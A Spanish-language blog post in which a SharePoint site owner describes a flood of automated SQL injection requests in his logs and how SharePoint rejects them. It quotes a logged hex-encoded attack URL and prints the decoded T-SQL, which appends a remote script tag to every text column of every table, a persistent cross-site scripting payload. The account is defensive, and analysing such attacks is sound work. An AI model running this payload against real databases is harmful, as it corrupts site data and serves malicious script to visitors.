Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.
Los errores son todos del tipo:
http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044
45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616
D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057
...
45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);
Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.
Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo...
Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.[algunHP].com/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.
Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.
Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz...
En cualquier caso, todo esta historia es solamente para darles las gracias a los... como llamarlos... las palabras que se me vienen a la boca no se pueden escribir en un sitio como este... dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código... lo único es que sigo sin entender porque alguien se dedica a hacer algo así...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...